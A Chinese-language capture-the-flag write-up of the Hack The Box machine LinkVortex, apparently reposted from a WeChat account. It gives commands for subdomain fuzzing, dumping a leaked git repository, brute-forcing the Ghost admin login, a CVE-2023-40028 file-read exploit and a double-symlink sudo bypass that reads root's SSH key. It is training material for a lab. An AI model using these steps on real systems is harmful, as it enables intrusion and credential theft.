LinkVortex
https://app.hackthebox.com/machines/LinkVortex
受害者ip:10.10.11.47
攻击者ip:10.10.16.10
参考:https://xtromera.github.io/2024/12/07/linkvortex.html
https://www.hyhforever.top/htb-linkvortex/
https://mp.weixin.qq.com/s/a36qmKnISmXUWBmbs2eSwA
端口扫描
快速扫描全端口
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p- 10.10.11.47
细扫22,80端口
nmap -sC -sV -A -p22,80 10.10.11.47
添加haost
10.10.11.47 linkvortex.htb
目录扫描
但是并没有获得账号密码之类的
子域名爆破
ffuf -c -u 'http://linkvortex.htb' -H 'host: FUZZ.linkvortex.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all
扫到一个dev
显示网站正在建设中
扫一下目录发现存在git泄露
使用git-dumper下载
git-dumper http://dev.linkvortex.htb/ git_files
发现版本号,和配置文件
ghost 5.58.0
但是config.production.json并不存在
发现任意文件读取
存在cve-2023-40028漏洞,看了一下代码发现需要账号密码
https://github.com/0xyassine/CVE-2023-40028
幸运的是,登录框页面存在用户名枚举
有admin用户发文章,猜测存在[email protected]的邮箱
提示密码错误,那[email protected]就是正确的邮箱
grep -ri "password" git_files过滤一下密码
收集一下看起来像是密码的密码,制作成密码本来爆破一下
2222222222 thisissupersafe Sl1m3rson99 1234abcde!! qu33nRul35 test 1234567890 123456789 12345678 [email protected] onepassword 127.0.0.1:2369 cdcdcdcdcd 1231111111 OctopiFociPilfer45 thisissupersafe lel123456 12345678910 123456
抓包爆破密码
获得密码OctopiFociPilfer45
账号密码[email protected]/OctopiFociPilfer45git_files/ghost/core/test/regression/api/admin/authentication.test.js
不能登录ssh
成功登录后台
修改url,切记结尾不要加/
./CVE-2023-40028.sh -u [email protected] -p OctopiFociPilfer45
没法读取/etc/shadow等敏感文件
读取配置文件
获得一组账号密码
"user": "[email protected]", "pass": "fibber-talented-worth"
成功登录,使用sudo -l查看权限
用户 bob 可以免密在 linkvortex 主机上以 sudo 权限运行 /usr/bin/bash /opt/ghost/clean_symlink.sh
查看脚本
cat /opt/ghost/clean_symlink.sh
如果文件名后缀是 .png,并且文件是符号链接,且目标路径 不包含 etc 或 root(即目标不是敏感文件),脚本会:
将符号链接 移动到 /var/quarantined 目录。 如果 CHECK_CONTENT=true,脚本会尝试输出该文件的内容。
然后创建符号链接,连接到 root.txt 下,由于脚本会检查参数,可以使用二次链接来进行绕过,同时将 CHECK_CONTENT 设置为 true
脚本只检查符号链接目标路径是否包含 etc 或 root 字样,但没有检查路径中的符号链接的间接指向。这使得攻击者可以通过多次创建符号链接来绕过检测。
例如,/home/bob/flag.txt 指向 /root/.ssh/id_rsa,而 /home/bob/flag.png 又指向 /home/bob/flag.txt,最终导致访问到敏感文件 /root/.ssh/id_rsa。
脚本在 CHECK_CONTENT=true 时,不会阻止读取文件内容,而是直接输出文件内容,导致敏感信息泄露
先创建了一个符号链接 flag.txt,将其指向 /root/.ssh/id_rsa ln -s /root/.ssh/id_rsa flag.txt 再次创建了一个新的符号链接 flag.png,该链接指向 /home/bob/flag.txt.实际效果是:/home/bob/flag.png 指向的是 /root/.ssh/id_rsa 文件 ln -s /home/bob/flag.txt flag.png CHECK_CONTENT=true 参数运行脚本,并传递 flag.png 符号链接作为参数。由于原脚本的目标检查并未彻底检查路径,脚本会认为 flag.png 是安全的符号链接,并将其移动到隔离目录。CHECK_CONTENT=true 参数导致脚本显示该文件的内容: sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png
chmod 600 id_rsa
ssh [email protected] -i id_rsa
给600权限,成功获得root
原文始发于微信公众号(王之暴龙战神):LinkVortex
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论